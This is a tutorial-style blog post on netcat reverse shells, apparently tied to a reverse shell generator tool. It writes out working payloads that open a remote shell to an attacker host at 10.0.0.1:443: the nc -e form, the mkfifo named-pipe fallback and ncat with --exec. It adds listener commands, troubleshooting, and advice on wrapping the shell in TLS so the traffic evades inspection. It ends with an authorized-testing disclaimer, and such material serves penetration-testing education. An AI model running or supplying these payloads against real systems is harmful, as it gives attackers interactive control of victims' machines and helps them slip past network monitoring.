Netcat Reverse Shell: When -e Is Missing and What to Do
How the netcat reverse shell works, why most modern nc builds dropped the -e flag, and the mkfifo and ncat alternatives that replace it.
Netcat is the first tool everyone reaches for, and the one that most often disappoints. The textbook netcat reverse shell is short:
nc -e /bin/sh 10.0.0.1 443
Then you discover the target's nc does not have -e, and the lesson begins. This post covers the -e payload, why it so often fails, and the mkfifo and ncat replacements that work when it does.
The -e Flag, and Why It's Usually Gone
nc -e /bin/sh HOST PORT tells netcat to connect out and execute /bin/sh, wiring the program's stdin/stdout to the socket. Clean and simple — when it exists.
The problem: -e is a security liability, so the widely-deployed OpenBSD netcat (the default nc on most Linux distros today) removed it. Only the older GNU netcat and a few embedded builds still ship it. So on a modern target, nc -e typically errors with invalid option -- 'e' or just exits.
Check what you are dealing with:
nc -h 2>&1 | grep -- -e
No output means no -e, and you move to a fallback.
The mkfifo Fallback
This is the canonical replacement and works on virtually any POSIX system with nc:
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.0.0.1 443 > /tmp/f
It rebuilds what -e did by hand. mkfifo creates a named pipe. cat /tmp/f feeds the pipe's contents into sh -i; the shell's output is piped into nc, which sends it to your listener; and nc's received data is written back into the pipe — closing the loop so your keystrokes reach the shell. It looks baroque, but it is just reconnecting the four ends that -e connected automatically.
Pick a path you can actually write to. /tmp is usually safe; if it is noexec or monitored, use another writable directory.
Use ncat Instead
ncat ships with Nmap and is the modern, feature-rich netcat. It kept --exec and adds TLS:
ncat 10.0.0.1 443 --ssl --exec "/bin/bash"
The --ssl flag matters more than it looks: it wraps the shell in TLS, so the traffic does not stand out as obvious plaintext shell I/O, and it traverses TLS-inspecting egress more naturally. Your listener then has to speak TLS too — ncat -lvnp 443 --ssl. Mismatched SSL on the two ends is a classic "it connected then immediately died" cause; see choosing a listener.
The Listener Side
Whatever payload you send, the receiving end is usually plain:
nc -lvnp 443
-l listen, -v verbose (so you see the connect), -n no DNS, -p port. Use ncat -lvnp 443 --ssl if the payload uses --ssl. And remember a bare nc listener gives you a raw, non-interactive shell — upgrade it with the steps in upgrading a reverse shell.
When It Still Won't Connect
-enot supported — use themkfifoorncatform above.- SSL mismatch — both ends must agree on
--ssl. - No writable path for the FIFO — pick a different directory.
- Egress filtered — prefer
443/80.
Full triage in why reverse shells fail.
Generate the Right Variant
The reverse shell generator emits the netcat form that matches the target — -e, mkfifo, or ncat --ssl — pre-filled with your LHOST/LPORT and paired with the correct listener command, so you are not guessing which netcat you are up against.
Authorized Testing Only
Run these only against systems you own or are explicitly authorized to test. Authorization, not technique, is what makes the work legitimate.